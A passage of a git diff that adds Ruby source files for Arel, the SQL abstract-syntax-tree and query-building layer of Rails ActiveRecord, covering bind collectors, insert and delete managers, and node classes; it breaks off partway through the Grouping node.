new file mode 100644
index 0000000000000..e900bfd8908f5
--- /dev/null
+++ b/activerecord/lib/arel/collectors/bind.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Collectors
+    class Bind
+      attr_accessor :retryable
+
+      def initialize
+        @binds = []
+      end
+
+      def <<(str)
+        self
+      end
+
+      def add_bind(bind, &)
+        @binds << bind
+        self
+      end
+
+      def add_binds(binds, proc_for_binds = nil, &)
+        @binds.concat proc_for_binds ? binds.map(&proc_for_binds) : binds
+        self
+      end
+
+      def value
+        @binds
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/collectors/composite.rb b/activerecord/lib/arel/collectors/composite.rb
new file mode 100644
index 0000000000000..f31634c7e16c8
--- /dev/null
+++ b/activerecord/lib/arel/collectors/composite.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Collectors
+    class Composite
+      attr_accessor :preparable
+      attr_reader :retryable
+
+      def initialize(left, right)
+        @left = left
+        @right = right
+      end
+
+      def retryable=(retryable)
+        left.retryable = retryable
+        right.retryable = retryable
+        @retryable = retryable
+      end
+
+      def <<(str)
+        left << str
+        right << str
+        self
+      end
+
+      def add_bind(bind, &block)
+        left.add_bind bind, &block
+        right.add_bind bind, &block
+        self
+      end
+
+      def add_binds(binds, proc_for_binds = nil, &block)
+        left.add_binds(binds, proc_for_binds, &block)
+        right.add_binds(binds, proc_for_binds, &block)
+        self
+      end
+
+      def value
+        [left.value, right.value]
+      end
+
+      private
+        attr_reader :left, :right
+    end
+  end
+end
diff --git a/activerecord/lib/arel/collectors/plain_string.rb b/activerecord/lib/arel/collectors/plain_string.rb
new file mode 100644
index 0000000000000..c0e9fff39915e
--- /dev/null
+++ b/activerecord/lib/arel/collectors/plain_string.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Collectors
+    class PlainString
+      def initialize
+        @str = +""
+      end
+
+      def value
+        @str
+      end
+
+      def <<(str)
+        @str << str
+        self
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/collectors/sql_string.rb b/activerecord/lib/arel/collectors/sql_string.rb
new file mode 100644
index 0000000000000..a2af02b14e1b3
--- /dev/null
+++ b/activerecord/lib/arel/collectors/sql_string.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+require "arel/collectors/plain_string"
+
+module Arel # :nodoc: all
+  module Collectors
+    class SQLString < PlainString
+      attr_accessor :preparable, :retryable
+
+      def initialize(*)
+        super
+        @bind_index = 1
+      end
+
+      def add_bind(bind, &)
+        self << yield(@bind_index)
+        @bind_index += 1
+        self
+      end
+
+      def add_binds(binds, proc_for_binds = nil, &block)
+        self << (@bind_index...@bind_index += binds.size).map(&block).join(", ")
+        self
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/collectors/substitute_binds.rb b/activerecord/lib/arel/collectors/substitute_binds.rb
new file mode 100644
index 0000000000000..d3a272151f5bc
--- /dev/null
+++ b/activerecord/lib/arel/collectors/substitute_binds.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Collectors
+    class SubstituteBinds
+      attr_accessor :preparable, :retryable
+
+      def initialize(quoter, delegate_collector)
+        @quoter = quoter
+        @delegate = delegate_collector
+      end
+
+      def <<(str)
+        delegate << str
+        self
+      end
+
+      def add_bind(bind, &)
+        bind = bind.value_for_database if bind.respond_to?(:value_for_database)
+        self << quoter.quote(bind)
+      end
+
+      def add_binds(binds, proc_for_binds = nil, &)
+        self << binds.map { |bind| quoter.quote(bind) }.join(", ")
+      end
+
+      def value
+        delegate.value
+      end
+
+      private
+        attr_reader :quoter, :delegate
+    end
+  end
+end
diff --git a/activerecord/lib/arel/crud.rb b/activerecord/lib/arel/crud.rb
new file mode 100644
index 0000000000000..defae45e18167
--- /dev/null
+++ b/activerecord/lib/arel/crud.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  ###
+  # FIXME hopefully we can remove this
+  module Crud
+    def compile_insert(values)
+      im = create_insert
+      im.insert values
+      im
+    end
+
+    def create_insert
+      InsertManager.new
+    end
+
+    def compile_update(values, key = nil)
+      um = UpdateManager.new(source)
+      um.set(values)
+      um.take(limit)
+      um.offset(offset)
+      um.order(*orders)
+      um.wheres = constraints
+      um.comment(comment)
+      um.key = key
+
+      um.ast.groups = @ctx.groups
+      @ctx.havings.each { |h| um.having(h) }
+      um
+    end
+
+    def compile_delete(key = nil)
+      dm = DeleteManager.new(source)
+      dm.take(limit)
+      dm.offset(offset)
+      dm.order(*orders)
+      dm.wheres = constraints
+      dm.comment(comment)
+      dm.key = key
+      dm.ast.groups = @ctx.groups
+      @ctx.havings.each { |h| dm.having(h) }
+      dm
+    end
+  end
+end
diff --git a/activerecord/lib/arel/delete_manager.rb b/activerecord/lib/arel/delete_manager.rb
new file mode 100644
index 0000000000000..5877a2e45d7ad
--- /dev/null
+++ b/activerecord/lib/arel/delete_manager.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  class DeleteManager < Arel::TreeManager
+    include TreeManager::StatementMethods
+
+    def initialize(table = nil)
+      @ast = Nodes::DeleteStatement.new(table)
+    end
+
+    def from(relation)
+      @ast.relation = relation
+      self
+    end
+
+    def group(columns)
+      columns.each do |column|
+        column = Nodes::SqlLiteral.new(column) if String === column
+        column = Nodes::SqlLiteral.new(column.to_s) if Symbol === column
+
+        @ast.groups.push Nodes::Group.new column
+      end
+
+      self
+    end
+
+    def having(expr)
+      @ast.havings << expr
+      self
+    end
+
+    def comment(value)
+      @ast.comment = value
+      self
+    end
+  end
+end
diff --git a/activerecord/lib/arel/errors.rb b/activerecord/lib/arel/errors.rb
new file mode 100644
index 0000000000000..2ad2399388460
--- /dev/null
+++ b/activerecord/lib/arel/errors.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  class ArelError < StandardError
+  end
+
+  class EmptyJoinError < ArelError
+  end
+
+  class BindError < ArelError
+    def initialize(message, sql = nil)
+      if sql
+        super("#{message} in: #{sql.inspect}")
+      else
+        super(message)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/expressions.rb b/activerecord/lib/arel/expressions.rb
new file mode 100644
index 0000000000000..da8afb338ca75
--- /dev/null
+++ b/activerecord/lib/arel/expressions.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Expressions
+    def count(distinct = false)
+      Nodes::Count.new [self], distinct
+    end
+
+    def sum
+      Nodes::Sum.new [self]
+    end
+
+    def maximum
+      Nodes::Max.new [self]
+    end
+
+    def minimum
+      Nodes::Min.new [self]
+    end
+
+    def average
+      Nodes::Avg.new [self]
+    end
+
+    def extract(field)
+      Nodes::Extract.new [self], field
+    end
+  end
+end
diff --git a/activerecord/lib/arel/factory_methods.rb b/activerecord/lib/arel/factory_methods.rb
new file mode 100644
index 0000000000000..83122723513f9
--- /dev/null
+++ b/activerecord/lib/arel/factory_methods.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  ###
+  # Methods for creating various nodes
+  module FactoryMethods
+    def create_true
+      Arel::Nodes::True.new
+    end
+
+    def create_false
+      Arel::Nodes::False.new
+    end
+
+    def create_table_alias(relation, name)
+      Nodes::TableAlias.new(relation, name)
+    end
+
+    def create_join(to, constraint = nil, klass = Nodes::InnerJoin)
+      klass.new(to, constraint)
+    end
+
+    def create_string_join(to)
+      create_join to, nil, Nodes::StringJoin
+    end
+
+    def create_and(clauses)
+      Nodes::And.new clauses
+    end
+
+    def create_on(expr)
+      Nodes::On.new expr
+    end
+
+    def grouping(expr)
+      Nodes::Grouping.new expr
+    end
+
+    ###
+    # Create a LOWER() function
+    def lower(column)
+      Nodes::NamedFunction.new "LOWER", [Nodes.build_quoted(column)]
+    end
+
+    def coalesce(*exprs)
+      Nodes::NamedFunction.new "COALESCE", exprs
+    end
+
+    def cast(name, type)
+      Nodes::NamedFunction.new "CAST", [name.as(type)]
+    end
+  end
+end
diff --git a/activerecord/lib/arel/filter_predications.rb b/activerecord/lib/arel/filter_predications.rb
new file mode 100644
index 0000000000000..959f4c6ec62ff
--- /dev/null
+++ b/activerecord/lib/arel/filter_predications.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module FilterPredications
+    def filter(expr)
+      Nodes::Filter.new(self, expr)
+    end
+  end
+end
diff --git a/activerecord/lib/arel/insert_manager.rb b/activerecord/lib/arel/insert_manager.rb
new file mode 100644
index 0000000000000..2bf57b7d02013
--- /dev/null
+++ b/activerecord/lib/arel/insert_manager.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  class InsertManager < Arel::TreeManager
+    def initialize(table = nil)
+      @ast = Nodes::InsertStatement.new(table)
+    end
+
+    def into(table)
+      @ast.relation = table
+      self
+    end
+
+    def columns; @ast.columns end
+    def values=(val); @ast.values = val; end
+
+    def select(select)
+      @ast.select = select
+    end
+
+    def insert(fields)
+      return if fields.empty?
+
+      if String === fields
+        @ast.values = Nodes::SqlLiteral.new(fields)
+      else
+        @ast.relation ||= fields.first.first.relation
+
+        values = []
+
+        fields.each do |column, value|
+          @ast.columns << column
+          values << value
+        end
+        @ast.values = create_values(values)
+      end
+      self
+    end
+
+    def create_values(values)
+      Nodes::ValuesList.new([values])
+    end
+
+    def create_values_list(rows)
+      Nodes::ValuesList.new(rows)
+    end
+  end
+end
diff --git a/activerecord/lib/arel/math.rb b/activerecord/lib/arel/math.rb
new file mode 100644
index 0000000000000..2359f1314860b
--- /dev/null
+++ b/activerecord/lib/arel/math.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Math
+    def *(other)
+      Arel::Nodes::Multiplication.new(self, other)
+    end
+
+    def +(other)
+      Arel::Nodes::Grouping.new(Arel::Nodes::Addition.new(self, other))
+    end
+
+    def -(other)
+      Arel::Nodes::Grouping.new(Arel::Nodes::Subtraction.new(self, other))
+    end
+
+    def /(other)
+      Arel::Nodes::Division.new(self, other)
+    end
+
+    def &(other)
+      Arel::Nodes::Grouping.new(Arel::Nodes::BitwiseAnd.new(self, other))
+    end
+
+    def |(other)
+      Arel::Nodes::Grouping.new(Arel::Nodes::BitwiseOr.new(self, other))
+    end
+
+    def ^(other)
+      Arel::Nodes::Grouping.new(Arel::Nodes::BitwiseXor.new(self, other))
+    end
+
+    def <<(other)
+      Arel::Nodes::Grouping.new(Arel::Nodes::BitwiseShiftLeft.new(self, other))
+    end
+
+    def >>(other)
+      Arel::Nodes::Grouping.new(Arel::Nodes::BitwiseShiftRight.new(self, other))
+    end
+
+    def ~@
+      Arel::Nodes::BitwiseNot.new(self)
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes.rb b/activerecord/lib/arel/nodes.rb
new file mode 100644
index 0000000000000..9e35270ca1bd6
--- /dev/null
+++ b/activerecord/lib/arel/nodes.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+# node
+require "arel/nodes/node"
+require "arel/nodes/node_expression"
+require "arel/nodes/select_statement"
+require "arel/nodes/select_core"
+require "arel/nodes/insert_statement"
+require "arel/nodes/update_statement"
+require "arel/nodes/bind_param"
+require "arel/nodes/fragments"
+
+# terminal
+
+require "arel/nodes/terminal"
+require "arel/nodes/true"
+require "arel/nodes/false"
+
+# unary
+require "arel/nodes/unary"
+require "arel/nodes/grouping"
+require "arel/nodes/homogeneous_in"
+require "arel/nodes/ordering"
+require "arel/nodes/ascending"
+require "arel/nodes/descending"
+require "arel/nodes/unqualified_column"
+require "arel/nodes/with"
+
+# binary
+require "arel/nodes/binary"
+require "arel/nodes/equality"
+require "arel/nodes/filter"
+require "arel/nodes/in"
+require "arel/nodes/join_source"
+require "arel/nodes/delete_statement"
+require "arel/nodes/table_alias"
+require "arel/nodes/infix_operation"
+require "arel/nodes/unary_operation"
+require "arel/nodes/over"
+require "arel/nodes/matches"
+require "arel/nodes/regexp"
+require "arel/nodes/cte"
+
+# nary (And and Or)
+require "arel/nodes/nary"
+
+# function
+require "arel/nodes/function"
+require "arel/nodes/count"
+require "arel/nodes/extract"
+require "arel/nodes/values_list"
+require "arel/nodes/named_function"
+
+# windows
+require "arel/nodes/window"
+
+# conditional expressions
+require "arel/nodes/case"
+
+# joins
+require "arel/nodes/full_outer_join"
+require "arel/nodes/inner_join"
+require "arel/nodes/outer_join"
+require "arel/nodes/right_outer_join"
+require "arel/nodes/string_join"
+require "arel/nodes/leading_join"
+
+require "arel/nodes/comment"
+
+require "arel/nodes/sql_literal"
+require "arel/nodes/bound_sql_literal"
+
+require "arel/nodes/casted"
diff --git a/activerecord/lib/arel/nodes/ascending.rb b/activerecord/lib/arel/nodes/ascending.rb
new file mode 100644
index 0000000000000..8b617f4df5723
--- /dev/null
+++ b/activerecord/lib/arel/nodes/ascending.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Ascending < Ordering
+      def reverse
+        Descending.new(expr)
+      end
+
+      def direction
+        :asc
+      end
+
+      def ascending?
+        true
+      end
+
+      def descending?
+        false
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/binary.rb b/activerecord/lib/arel/nodes/binary.rb
new file mode 100644
index 0000000000000..64668485ecfbb
--- /dev/null
+++ b/activerecord/lib/arel/nodes/binary.rb
@@ -0,0 +1,125 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Binary < Arel::Nodes::NodeExpression
+      attr_accessor :left, :right
+
+      def initialize(left, right)
+        super()
+        @left  = left
+        @right = right
+      end
+
+      def initialize_copy(other)
+        super
+        @left  = @left.clone if @left
+        @right = @right.clone if @right
+      end
+
+      def hash
+        [self.class, @left, @right].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.left == other.left &&
+          self.right == other.right
+      end
+      alias :== :eql?
+    end
+
+    module FetchAttribute
+      def fetch_attribute(&)
+        if left.is_a?(Arel::Attributes::Attribute)
+          yield left
+        elsif right.is_a?(Arel::Attributes::Attribute)
+          yield right
+        end
+      end
+    end
+
+    class As < Binary
+      def to_cte
+        Arel::Nodes::Cte.new(left.name, right)
+      end
+    end
+
+    class Between < Binary; include FetchAttribute; end
+
+    class GreaterThan < Binary
+      include FetchAttribute
+
+      def invert
+        Arel::Nodes::LessThanOrEqual.new(left, right)
+      end
+    end
+
+    class GreaterThanOrEqual < Binary
+      include FetchAttribute
+
+      def invert
+        Arel::Nodes::LessThan.new(left, right)
+      end
+    end
+
+    class LessThan < Binary
+      include FetchAttribute
+
+      def invert
+        Arel::Nodes::GreaterThanOrEqual.new(left, right)
+      end
+    end
+
+    class LessThanOrEqual < Binary
+      include FetchAttribute
+
+      def invert
+        Arel::Nodes::GreaterThan.new(left, right)
+      end
+    end
+
+    class IsDistinctFrom < Binary
+      include FetchAttribute
+
+      def invert
+        Arel::Nodes::IsNotDistinctFrom.new(left, right)
+      end
+    end
+
+    class IsNotDistinctFrom < Binary
+      include FetchAttribute
+
+      def invert
+        Arel::Nodes::IsDistinctFrom.new(left, right)
+      end
+    end
+
+    class NotEqual < Binary
+      include FetchAttribute
+
+      def invert
+        Arel::Nodes::Equality.new(left, right)
+      end
+    end
+
+    class NotIn < Binary
+      include FetchAttribute
+
+      def invert
+        Arel::Nodes::In.new(left, right)
+      end
+    end
+
+    %w{
+      Assignment
+      Join
+      Union
+      UnionAll
+      Intersect
+      Except
+    }.each do |name|
+      const_set name, Class.new(Binary)
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/bind_param.rb b/activerecord/lib/arel/nodes/bind_param.rb
new file mode 100644
index 0000000000000..1d900eeb22cf2
--- /dev/null
+++ b/activerecord/lib/arel/nodes/bind_param.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class BindParam < Node
+      attr_reader :value
+
+      def initialize(value)
+        @value = value
+        super()
+      end
+
+      def hash
+        [self.class, self.value].hash
+      end
+
+      def eql?(other)
+        other.is_a?(BindParam) &&
+          value == other.value
+      end
+      alias :== :eql?
+
+      def nil?
+        value.nil?
+      end
+
+      def value_before_type_cast
+        if value.respond_to?(:value_before_type_cast)
+          value.value_before_type_cast
+        else
+          value
+        end
+      end
+
+      def infinite?
+        value.respond_to?(:infinite?) && value.infinite?
+      end
+
+      def unboundable?
+        value.respond_to?(:unboundable?) && value.unboundable?
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/bound_sql_literal.rb b/activerecord/lib/arel/nodes/bound_sql_literal.rb
new file mode 100644
index 0000000000000..989802d3c42df
--- /dev/null
+++ b/activerecord/lib/arel/nodes/bound_sql_literal.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class BoundSqlLiteral < NodeExpression
+      attr_reader :sql_with_placeholders, :positional_binds, :named_binds
+
+      def initialize(sql_with_placeholders, positional_binds, named_binds)
+        has_positional = !(positional_binds.nil? || positional_binds.empty?)
+        has_named = !(named_binds.nil? || named_binds.empty?)
+
+        if has_positional
+          if has_named
+            raise BindError.new("cannot mix positional and named binds", sql_with_placeholders)
+          end
+          if positional_binds.size != (expected = sql_with_placeholders.count("?"))
+            raise BindError.new("wrong number of bind variables (#{positional_binds.size} for #{expected})", sql_with_placeholders)
+          end
+        elsif has_named
+          tokens_in_string = sql_with_placeholders.scan(/:(?<!::)([a-zA-Z]\w*)/).flatten.map(&:to_sym).uniq
+          tokens_in_hash = named_binds.keys.map(&:to_sym).uniq
+
+          if !(missing = (tokens_in_string - tokens_in_hash)).empty?
+            if missing.size == 1
+              raise BindError.new("missing value for #{missing.first.inspect}", sql_with_placeholders)
+            else
+              raise BindError.new("missing values for #{missing.inspect}", sql_with_placeholders)
+            end
+          end
+        end
+
+        @sql_with_placeholders = sql_with_placeholders
+        if has_positional
+          @positional_binds = positional_binds
+          @named_binds = nil
+        else
+          @positional_binds = nil
+          @named_binds = named_binds
+        end
+      end
+
+      def hash
+        [self.class, sql_with_placeholders, positional_binds, named_binds].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          sql_with_placeholders == other.sql_with_placeholders &&
+          positional_binds == other.positional_binds &&
+          named_binds == other.named_binds
+      end
+      alias :== :eql?
+
+      def +(other)
+        raise ArgumentError, "Expected Arel node" unless Arel.arel_node?(other)
+
+        Fragments.new([self, other])
+      end
+
+      def inspect
+        "#<#{self.class.name} #{sql_with_placeholders.inspect} #{(named_binds || positional_binds).inspect}>"
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/case.rb b/activerecord/lib/arel/nodes/case.rb
new file mode 100644
index 0000000000000..1c4b727bf63e4
--- /dev/null
+++ b/activerecord/lib/arel/nodes/case.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Case < Arel::Nodes::NodeExpression
+      attr_accessor :case, :conditions, :default
+
+      def initialize(expression = nil, default = nil)
+        @case = expression
+        @conditions = []
+        @default = default
+      end
+
+      def when(condition, expression = nil)
+        @conditions << When.new(Nodes.build_quoted(condition), expression)
+        self
+      end
+
+      def then(expression)
+        @conditions.last.right = Nodes.build_quoted(expression)
+        self
+      end
+
+      def else(expression)
+        @default = Else.new Nodes.build_quoted(expression)
+        self
+      end
+
+      def initialize_copy(other)
+        super
+        @case = @case.clone if @case
+        @conditions = @conditions.map { |x| x.clone }
+        @default = @default.clone if @default
+      end
+
+      def hash
+        [@case, @conditions, @default].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.case == other.case &&
+          self.conditions == other.conditions &&
+          self.default == other.default
+      end
+      alias :== :eql?
+    end
+
+    class When < Binary # :nodoc:
+    end
+
+    class Else < Unary # :nodoc:
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/casted.rb b/activerecord/lib/arel/nodes/casted.rb
new file mode 100644
index 0000000000000..bd389f3930513
--- /dev/null
+++ b/activerecord/lib/arel/nodes/casted.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Casted < Arel::Nodes::NodeExpression # :nodoc:
+      attr_reader :value, :attribute
+      alias :value_before_type_cast :value
+
+      def initialize(value, attribute)
+        @value     = value
+        @attribute = attribute
+        super()
+      end
+
+      def nil?; value.nil?; end
+
+      def value_for_database
+        if attribute.able_to_type_cast?
+          attribute.type_cast_for_database(value)
+        else
+          value
+        end
+      end
+
+      def hash
+        [self.class, value, attribute].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.value == other.value &&
+          self.attribute == other.attribute
+      end
+      alias :== :eql?
+    end
+
+    class Quoted < Arel::Nodes::Unary # :nodoc:
+      alias :value_for_database :value
+      alias :value_before_type_cast :value
+
+      def nil?; value.nil?; end
+
+      def infinite?
+        value.respond_to?(:infinite?) && value.infinite?
+      end
+    end
+
+    def self.build_quoted(other, attribute = nil)
+      case other
+      when Arel::Nodes::Node, Arel::Attributes::Attribute, Arel::Table, Arel::SelectManager, Arel::Nodes::SqlLiteral, ActiveModel::Attribute
+        other
+      else
+        case attribute
+        when Arel::Attributes::Attribute
+          Casted.new other, attribute
+        else
+          Quoted.new other
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/comment.rb b/activerecord/lib/arel/nodes/comment.rb
new file mode 100644
index 0000000000000..237ff27e7eb01
--- /dev/null
+++ b/activerecord/lib/arel/nodes/comment.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Comment < Arel::Nodes::Node
+      attr_reader :values
+
+      def initialize(values)
+        super()
+        @values = values
+      end
+
+      def initialize_copy(other)
+        super
+        @values = @values.clone
+      end
+
+      def hash
+        [@values].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.values == other.values
+      end
+      alias :== :eql?
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/count.rb b/activerecord/lib/arel/nodes/count.rb
new file mode 100644
index 0000000000000..a3e32009aa4ee
--- /dev/null
+++ b/activerecord/lib/arel/nodes/count.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Count < Arel::Nodes::Function
+      def initialize(expr, distinct = false)
+        super(expr)
+        @distinct = distinct
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/cte.rb b/activerecord/lib/arel/nodes/cte.rb
new file mode 100644
index 0000000000000..f94247a703b55
--- /dev/null
+++ b/activerecord/lib/arel/nodes/cte.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Cte < Arel::Nodes::Binary
+      alias :name :left
+      alias :relation :right
+      attr_reader :materialized
+
+      def initialize(name, relation, materialized: nil)
+        super(name, relation)
+        @materialized = materialized
+      end
+
+      def hash
+        [name, relation, materialized].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.name == other.name &&
+          self.relation == other.relation &&
+          self.materialized == other.materialized
+      end
+      alias :== :eql?
+
+      def to_cte
+        self
+      end
+
+      def to_table
+        Arel::Table.new(name)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/delete_statement.rb b/activerecord/lib/arel/nodes/delete_statement.rb
new file mode 100644
index 0000000000000..80875fa2eea79
--- /dev/null
+++ b/activerecord/lib/arel/nodes/delete_statement.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class DeleteStatement < Arel::Nodes::Node
+      attr_accessor :relation, :wheres, :groups, :havings, :orders, :limit, :offset, :comment, :key
+
+      def initialize(relation = nil, wheres = [])
+        super()
+        @relation = relation
+        @wheres = wheres
+        @groups = []
+        @havings = []
+        @orders = []
+        @limit = nil
+        @offset = nil
+        @comment = nil
+        @key = nil
+      end
+
+      def initialize_copy(other)
+        super
+        @relation = @relation.clone if @relation
+        @wheres = @wheres.clone if @wheres
+      end
+
+      def hash
+        [self.class, @relation, @wheres, @orders, @limit, @offset, @comment, @key].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.relation == other.relation &&
+          self.wheres == other.wheres &&
+          self.orders == other.orders &&
+          self.groups == other.groups &&
+          self.havings == other.havings &&
+          self.limit == other.limit &&
+          self.offset == other.offset &&
+          self.comment == other.comment &&
+          self.key == other.key
+      end
+      alias :== :eql?
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/descending.rb b/activerecord/lib/arel/nodes/descending.rb
new file mode 100644
index 0000000000000..f3f6992ca88b4
--- /dev/null
+++ b/activerecord/lib/arel/nodes/descending.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Descending < Ordering
+      def reverse
+        Ascending.new(expr)
+      end
+
+      def direction
+        :desc
+      end
+
+      def ascending?
+        false
+      end
+
+      def descending?
+        true
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/equality.rb b/activerecord/lib/arel/nodes/equality.rb
new file mode 100644
index 0000000000000..610411979b01a
--- /dev/null
+++ b/activerecord/lib/arel/nodes/equality.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Equality < Arel::Nodes::Binary
+      include FetchAttribute
+
+      def equality?; true; end
+
+      def invert
+        Arel::Nodes::NotEqual.new(left, right)
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/extract.rb b/activerecord/lib/arel/nodes/extract.rb
new file mode 100644
index 0000000000000..5799ee9b8ff66
--- /dev/null
+++ b/activerecord/lib/arel/nodes/extract.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Extract < Arel::Nodes::Unary
+      attr_accessor :field
+
+      def initialize(expr, field)
+        super(expr)
+        @field = field
+      end
+
+      def hash
+        super ^ @field.hash
+      end
+
+      def eql?(other)
+        super &&
+          self.field == other.field
+      end
+      alias :== :eql?
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/false.rb b/activerecord/lib/arel/nodes/false.rb
new file mode 100644
index 0000000000000..1e5bf04be5e54
--- /dev/null
+++ b/activerecord/lib/arel/nodes/false.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class False < Arel::Nodes::NodeExpression
+      def hash
+        self.class.hash
+      end
+
+      def eql?(other)
+        self.class == other.class
+      end
+      alias :== :eql?
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/filter.rb b/activerecord/lib/arel/nodes/filter.rb
new file mode 100644
index 0000000000000..e3f5ec681ffcf
--- /dev/null
+++ b/activerecord/lib/arel/nodes/filter.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Filter < Binary
+      include Arel::WindowPredications
+      include Arel::AliasPredication
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/fragments.rb b/activerecord/lib/arel/nodes/fragments.rb
new file mode 100644
index 0000000000000..8d82aea4e9044
--- /dev/null
+++ b/activerecord/lib/arel/nodes/fragments.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Fragments < Arel::Nodes::Node
+      attr_reader :values
+
+      def initialize(values = [])
+        super()
+        @values = values
+      end
+
+      def initialize_copy(other)
+        super
+        @values = @values.clone
+      end
+
+      def hash
+        [@values].hash
+      end
+
+      def +(other)
+        raise ArgumentError, "Expected Arel node" unless Arel.arel_node?(other)
+
+        self.class.new([*@values, other])
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.values == other.values
+      end
+      alias :== :eql?
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/full_outer_join.rb b/activerecord/lib/arel/nodes/full_outer_join.rb
new file mode 100644
index 0000000000000..91bb81f2e343a
--- /dev/null
+++ b/activerecord/lib/arel/nodes/full_outer_join.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class FullOuterJoin < Arel::Nodes::Join
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/function.rb b/activerecord/lib/arel/nodes/function.rb
new file mode 100644
index 0000000000000..9c2658b5c4005
--- /dev/null
+++ b/activerecord/lib/arel/nodes/function.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Function < Arel::Nodes::NodeExpression
+      include Arel::WindowPredications
+      include Arel::FilterPredications
+
+      attr_accessor :expressions, :distinct
+
+      def initialize(expr)
+        super()
+        @expressions = expr
+        @distinct    = false
+      end
+
+      def hash
+        [@expressions, @distinct].hash
+      end
+
+      def eql?(other)
+        self.class == other.class &&
+          self.expressions == other.expressions &&
+          self.distinct == other.distinct
+      end
+      alias :== :eql?
+    end
+
+    %w{
+      Sum
+      Exists
+      Max
+      Min
+      Avg
+    }.each do |name|
+      const_set(name, Class.new(Function))
+    end
+  end
+end
diff --git a/activerecord/lib/arel/nodes/grouping.rb b/activerecord/lib/arel/nodes/grouping.rb
new file mode 100644
index 0000000000000..e01d97ffcb84b
--- /dev/null
+++ b/activerecord/lib/arel/nodes/grouping.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Arel # :nodoc: all
+  module Nodes
+    class Grouping < Unary
+      def fetch_attribute(&block)
